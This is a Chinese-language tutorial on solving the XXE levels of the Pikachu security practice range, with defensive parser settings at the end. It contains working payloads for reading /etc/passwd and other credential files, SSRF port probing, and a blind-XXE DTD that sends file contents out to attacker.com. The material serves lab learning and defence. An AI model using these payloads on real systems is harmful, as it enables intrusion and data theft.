1. 项目概述:为什么选择Pikachu靶场来攻克XXE?
如果你正在学习Web安全,尤其是想彻底搞懂XXE(XML External Entity)漏洞,那么Pikachu靶场绝对是一个绕不开的宝藏。它不像一些大型综合靶场那样庞杂,而是精准地针对每一个常见漏洞类型设计了从易到难、从理论到实战的关卡。对于XXE这个知识点,Pikachu靶场几乎囊括了所有你在真实渗透测试和CTF比赛中会遇到的主流攻击手法:从最基础的读取服务器本地文件,到进阶的SSRF式内网探测,甚至盲注(Blind XXE)的利用思路,都能在这里找到对应的练习场景。
我最初接触XXE时,看理论文档总觉得隔靴搔痒,知道它能读取文件、能发起网络请求,但具体怎么构造Payload、服务器如何响应、不同语言环境(PHP、Java)下有何差异,脑子里始终是模糊的。直到在Pikachu靶场里亲手把每个关卡都“打”了一遍,那种“原来如此”的感觉才真正出现。这个靶场就像一个精心设计的实验室,把XXE这个漏洞拆解成一个个可操作的实验步骤,让你能清晰地看到攻击链的每一个环节。所以,这次我们就以“通关Pikachu靶场XXE模块”为目标,不仅复现攻击,更要深挖每一步背后的原理和变种,让你真正掌握从文件读取到内网探测的完整攻击手法。
2. XXE漏洞核心原理与Pikachu环境准备
在动手之前,我们必须把XXE的“发动机”原理搞清楚,这样后续的所有操作才不会变成死记硬背Payload的魔术。
2.1 XML外部实体注入到底是怎么回事?
简单来说,XXE漏洞的根源在于应用程序在解析XML输入时,过于“听话”地处理了用户定义的“外部实体”。在XML标准中,实体(Entity)可以看作是一个变量或宏,用于定义一段文本或数据。而“外部实体”则允许这个变量的值来自一个外部资源,比如本地文件系统(file://协议)或远程网络(http://协议)。
一个正常的XML解析器,如果配置不当(例如,在PHP中默认启用了libxml_disable_entity_loader(false)或在Java中使用了有风险的DocumentBuilderFactory配置),就会去加载并解析这些外部实体。攻击者正是利用这一点,在可控的XML数据中插入恶意的外部实体定义,从而让服务器执行非预期的操作。
举个例子,一个无害的XML可能是这样的:
<user><name>John</name></user>而一个恶意的XXE Payload会是这样:
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user><name>&xxe;</name></user>当服务器解析这个XML时,它会看到实体&xxe;,然后根据DOCTYPE中的定义,去读取file:///etc/passwd文件的内容,并将其替换到<name>标签中。如果这个内容最终被返回给攻击者,那么服务器的敏感文件就被窃取了。
注意:现代PHP版本(>=8.0)默认禁用了外部实体加载,Java的较新框架也加强了默认安全配置。但许多遗留系统、特定配置或老旧库的版本仍然是重灾区。Pikachu靶场模拟的正是这些存在安全隐患的环境。
2.2 Pikachu靶场搭建与XXE模块定位
Pikachu靶场通常以PHP编写,部署极其简单。你可以从它的GitHub仓库下载源码,然后丢到像PHPStudy、XAMPP或Docker+Apache这样的PHP运行环境里,配置好数据库(根据安装说明)即可。它所有的漏洞场景都是网页形式,无需复杂命令行操作。
启动后,在靶场主界面左侧的漏洞列表里,你能清晰地找到“XXE”这个模块。点进去,你会发现它通常不止一个关卡,而是分成了“XML外部实体注入”和“XXE盲注”等子场景,这正是我们系统学习的路线图。
在开始实战前,我强烈建议你准备好两件工具:
- Burp Suite:用于拦截和修改HTTP请求,这是构造和发送XXE Payload的“主战场”。社区版就足够用了。
- 一个简单的HTTP服务:用于在盲注场景下接收服务器“打”出来的数据。可以用Python快速搭建:
python3 -m http.server 8888。这能让你直观地看到内网探测或数据外带的结果。
3. 基础攻击手法实战:从本地文件读取开始
Pikachu靶场的第一个XXE关卡,通常设计为一个简单的表单,提交后后端会处理你输入的XML。我们的目标就是从这里读取服务器的系统文件。
3.1 构造读取/etc/passwd的Payload
首先,用Burp Suite拦截提交表单的请求。你会发现请求体可能是一个名为xml的参数,其内容是你输入的XML。我们将它替换为经典的读取文件Payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <root>&file;</root>点击“Forward”发送请求后,观察服务器的响应。如果漏洞存在,你会在返回的页面中看到/etc/passwd文件的内容,里面包含了系统用户列表。
为什么是/etc/passwd?这是一个Linux/Unix系统上经典的证明文件读取存在的“标志性”文件。它全局可读,且内容具有辨识度。在Windows环境下,可以尝试读取file:///C:/Windows/System32/drivers/etc/hosts或file:///C:/Windows/win.ini。
3.2 进阶文件读取技巧与路径遍历
成功读取/etc/passwd只是第一步。在实际渗透中,我们更关心的是应用的源代码、配置文件或包含敏感数据的文件。
- 读取Web应用源码:尝试读取网站根目录下的PHP文件,例如
file:///var/www/html/index.php。这可能需要你进行路径猜测或结合其他信息泄露漏洞。有时,读取/proc/self/cwd/index.php(指向当前进程工作目录的文件)可能有意想不到的收获。 - 读取系统敏感文件:
/etc/shadow:存储用户哈希密码,但通常需要root权限。/home/[username]/.bash_history:用户的历史命令,可能泄露敏感操作或密码。/proc/net/tcp:查看网络连接情况,辅助内网探测。
- 处理特殊文件与编码问题:
- 如果读取的文件包含XML特殊字符(如
<,&,>),直接嵌入可能会导致XML解析错误。这时可以使用参数实体或CDATA区(如果后端支持)来包装。Pikachu的某些关卡可能会模拟这种场景。 - 尝试使用
php://filter协议(针对PHP环境)来读取文件并进行Base64编码,避免特殊字符问题:
返回的内容是Base64编码的,需要解码后才能查看。<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
- 如果读取的文件包含XML特殊字符(如
实操心得:在真实环境中,文件读取可能会受到打开文件数量限制、路径权限等因素影响。如果直接读取失败,可以尝试使用
file://协议的相对路径,或者利用php://filter的多种过滤器进行绕过。Pikachu靶场可能没有设置所有障碍,但了解这些技巧能让你在更复杂的环境下游刃有余。
4. 内网探测与SSRF攻击手法实战
XXE的强大之处远不止读取本地文件。由于外部实体支持http://、ftp://等协议,它可以让存在漏洞的服务器成为一个“跳板”,去访问其内网中其他无法从外网直接到达的服务。这就是SSRF(Server-Side Request Forgery)的一种形式。
4.1 利用XXE进行内网端口扫描
Pikachu靶场可能会有一个场景,其返回结果不直接显示读取的内容(即盲XXE),但我们可以通过让服务器向我们控制的服务器发起HTTP请求,并根据请求是否成功到达,来判断目标端口是否开放。
假设我们怀疑目标服务器内网存在一个IP为192.168.1.1,端口为80的Web服务。我们可以构造如下Payload:
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % dtd SYSTEM "http://192.168.1.1:80"> %dtd; ]> <root>test</root>然后,我们在自己的公网VPS上(或使用Burp Suite的Collaborator功能)监听一个端口。但是,这里有一个关键点:在真正的盲XXE利用中,我们通常需要构造一个两阶段的Payload,因为单纯发起请求我们无法直接看到结果。更常见的做法是,让服务器将数据(如读取的文件内容)通过HTTP请求带出来。
4.2 盲XXE(Blind XXE)数据外带详解
这是XXE利用中较高级的技巧,也是Pikachu“XXE盲注”关卡的核心。当服务器解析了XML但不会在响应中回显任何结果时,我们就需要利用“数据外带”(Out-of-Band, OOB)技术。
其核心原理是:
- 在攻击者控制的服务器上放置一个恶意的DTD文件。
- 目标服务器上的XXE Payload引用这个远程DTD。
- 远程DTD中定义参数实体,执行我们想要的命令(如读取文件),并将文件内容作为URL的一部分,向攻击者的另一个监听端点发起请求。
- 攻击者通过查看接收到的HTTP请求日志,从中提取出文件内容。
一个典型的攻击流程如下:
第一步:在攻击服务器上准备恶意DTD文件假设你的服务器IP是attacker.com,在Web根目录下创建文件evil.dtd,内容如下:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com:9999/?leak=%file;'>"> %eval; %exfil;这个DTD做了三件事:定义实体%file读取文件,定义实体%eval来动态创建一个包含文件内容的URL,最后触发请求。
第二步:在目标漏洞点注入主Payload在Pikachu靶场的盲注输入点,提交如下XML:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]> <root></root>当目标服务器解析此XML时,会去获取http://attacker.com/evil.dtd,并执行其中的指令。
第三步:在攻击服务器上监听并接收数据在你的服务器上,除了Web服务(提供evil.dtd),还需要在另一个端口(如9999)启动一个简单的HTTP监听(用nc -lvnp 9999或Python的http.server)。当目标服务器执行了evil.dtd后,你会看到一条发往http://attacker.com:9999/?leak=...的请求,leak参数的值就是/etc/passwd文件的内容(经过URL编码)。
注意事项:在实际利用中,文件内容如果包含换行符或特殊字符,可能会破坏HTTP请求。因此,evil.dtd中常常会使用
php://filter/convert.base64-encode/...先将文件内容Base64编码后再外带,收到数据后再解码。Pikachu的盲注关卡可能会简化这个过程,但原理必须掌握。
5. 靶场实战全流程与问题深度排查
现在,让我们把以上手法串联起来,模拟一次在Pikachu靶场中的完整通关流程,并记录下可能遇到的“坑”及其解决方法。
5.1 通关流程步骤拆解
- 信息收集:首先浏览Pikachu的XXE相关页面,查看表单、请求方式和可能的提示。判断是有回显的XXE还是盲XXE。
- 工具配置:确保Burp Suite代理设置正确,浏览器流量经过Burp。对于盲注关卡,提前准备好公网服务器或内网穿透工具(如ngrok)以及监听命令。
- 基础文件读取:
- 拦截有回显的XXE请求。
- 替换请求体为读取
/etc/passwd的Payload。 - 观察响应,确认漏洞存在并理解回显位置。
- 进阶文件读取:
- 尝试读取其他可能存在的敏感文件,如
/etc/hosts(查看内网IP段)、/proc/self/environ(查看环境变量,可能泄露路径或密钥)。 - 尝试使用
php://filter协议读取Web目录下的配置文件(如config.php)。
- 尝试读取其他可能存在的敏感文件,如
- 内网探测/SSRF:
- 在可以触发网络请求的关卡,尝试将
file://协议替换为http://127.0.0.1:80,看看是否能访问本地的Web服务。 - 修改IP和端口,探测常见的内部服务端口,如
22(SSH),3306(MySQL),6379(Redis)等。注意:在真实测试中,未经授权的端口扫描是高风险行为,务必在授权范围内进行。
- 在可以触发网络请求的关卡,尝试将
- 盲XXE数据外带:
- 在盲注关卡,按照4.2节的步骤,搭建远程DTD和监听服务。
- 构造Payload并提交,检查监听端口是否收到来自靶场的HTTP请求。
- 分析请求,提取外带出的数据。
5.2 常见问题与排查技巧实录
即使是在靶场中,你也可能会遇到一些问题。下面是我在多次教学和实战中总结的排查清单:
| 问题现象 | 可能原因 | 排查与解决思路 |
|---|---|---|
| 提交Payload后无任何回显,或返回错误。 | 1. 靶场环境未正确配置(如PHP的libxml_disable_entity_loader被启用)。2. Payload格式错误,如标签未闭合、编码问题。 3. 读取的文件路径不存在或无权访问。 | 1. 检查Pikachu的XXE相关源码,确认漏洞点是否被注释或修复。重新部署或寻找正确版本。 2. 将Payload粘贴到在线的XML格式校验器检查语法。确保使用正确的引号和闭合标签。 3. 尝试读取一个绝对存在且可读的文件,如 file:///etc/hosts或file:///C:/Windows/System32/drivers/etc/hosts。 |
| 盲XXE监听端收不到请求。 | 1. 靶场服务器无法访问你的公网IP(常见于NAT或防火墙后)。 2. 远程DTD文件URL访问不到或内容错误。 3. 靶场环境限制了外部网络请求。 | 1. 使用ngrok、frp等工具将本地监听端口映射到公网,获得一个临时域名。将Payload中的URL替换为此域名。2. 直接在浏览器中访问你构造的 evil.dtd的完整URL,确认能正确下载且内容无误。3. 尝试使用 ftp://、gopher://等其他协议(如果靶场环境支持)进行外带。 |
| 读取文件内容被截断或乱码。 | 1. 文件内容包含XML非法字符,导致解析失败。 2. 外带时URL长度限制或特殊字符被错误处理。 | 1. 使用php://filter/read=convert.base64-encode/resource=...进行Base64编码读取。2. 在恶意DTD中,对读取的内容进行二次编码(如Base64),确保数据完整传输。 |
| 可以读取文件但无法进行内网请求。 | 1. 服务器的网络配置(如防火墙、安全组)阻止了出站请求到特定端口。 2. 靶场PHP环境可能禁用了 allow_url_fopen等配置。 | 1. 尝试探测常见的80、443等Web端口,这些端口出站规则通常较宽松。 2. 检查靶场服务器的PHP配置文件,但这在靶场中通常不是问题,主要是模拟场景。 |
一个关键的实操心得:在测试盲XXE时,务必先验证DTD文件是否能被正常加载。一个简单的方法是,在恶意DTD文件中先不执行敏感操作,只定义一个会触发请求到你的监听器的实体。如果监听器收到了请求,说明DTD加载和执行链路是通的,然后再逐步加入文件读取等复杂操作。这样可以有效定位问题是出在漏洞利用链的哪一个环节。
6. 从靶场到实战:思维延伸与防御建议
通关Pikachu靶场,意味着你已经掌握了XXE攻击的基本“招式”。但要成为一名合格的安全研究员或渗透测试员,还需要知道这些招式在“江湖”(真实世界)中如何变化,以及如何防范。
6.1 真实场景中的XXE变种与难点
- 不同语言与解析器的差异:PHP的
simplexml_load_string、Java的DocumentBuilderFactory、Python的lxml.etree、.NET的XmlDocument等,它们对DTD和外部实体的处理方式、默认配置、支持的协议都有差异。实战中需要根据报错信息、技术栈判断解析器类型,并调整Payload。 - 文件上传中的XXE:一些应用(如文档处理服务、图片元数据提取)允许上传XML格式的文件(如SVG、DOCX、PPTX,它们本质是ZIP包内含XML)。如果服务器端解析了这些文件中的XML内容,就可能触发XXE。这时需要构造特殊的文件内容进行测试。
- 内容类型(Content-Type)转换攻击:有些应用接收JSON数据,但后端会将其转换为XML处理。如果攻击者将
Content-Type改为application/xml并提交XML数据,可能会绕过前端校验,直接攻击后端解析器。 - 利用XXE进行拒绝服务(DoS):通过定义递归引用的实体(如
<!ENTITY a "&b;&b;"><!ENTITY b "&a;&a;">),可以消耗服务器大量内存和CPU资源,导致服务崩溃。在授权测试中需极度谨慎使用。
6.2 开发者如何有效防御XXE?
作为攻击方,我们研究漏洞;作为防御方,我们更需要知道如何堵住漏洞。如果你是开发者,以下措施至关重要:
- 禁用外部实体和DTD:这是最根本、最有效的措施。
- PHP:使用
libxml_disable_entity_loader(true);。或在解析前设置LIBXML_NOENT | LIBXML_DTDLOAD为false。 - Java:对于
DocumentBuilderFactory,设置setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);和setFeature("http://xml.org/sax/features/external-general-entities", false);等。 - Python (lxml):使用
parser = etree.XMLParser(resolve_entities=False)。 - .NET:设置
XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit。
- PHP:使用
- 使用白名单验证输入:对用户输入的XML数据进行严格的模式验证(XSD),只允许预期的结构和内容。
- 使用安全的替代组件:考虑使用更简单、不支持DTD的XML解析器,或者完全转向JSON等数据格式(并确保JSON解析器本身安全)。
- 及时更新库和框架:使用最新版本的XML处理库,它们通常有更安全的默认配置。
- 在WAF/网关层进行过滤:部署Web应用防火墙,配置规则以检测和拦截包含
<!DOCTYPE、<!ENTITY、SYSTEM等关键词的请求。
最后,我想说的是,Pikachu靶场是一个绝佳的起点,但它模拟的毕竟是理想化的漏洞场景。真实世界的应用往往有更复杂的WAF、更奇怪的解析逻辑和更严格的过滤。真正掌握XXE,需要你将靶场里学到的原理和手法,结合对目标系统深入的信息收集和分析,灵活变通,才能发现和验证那些隐藏更深的漏洞。安全研究之路,道阻且长,但每一次亲手打通一个靶场关卡,每一次成功复现一种攻击手法,都是向深处迈进的一步。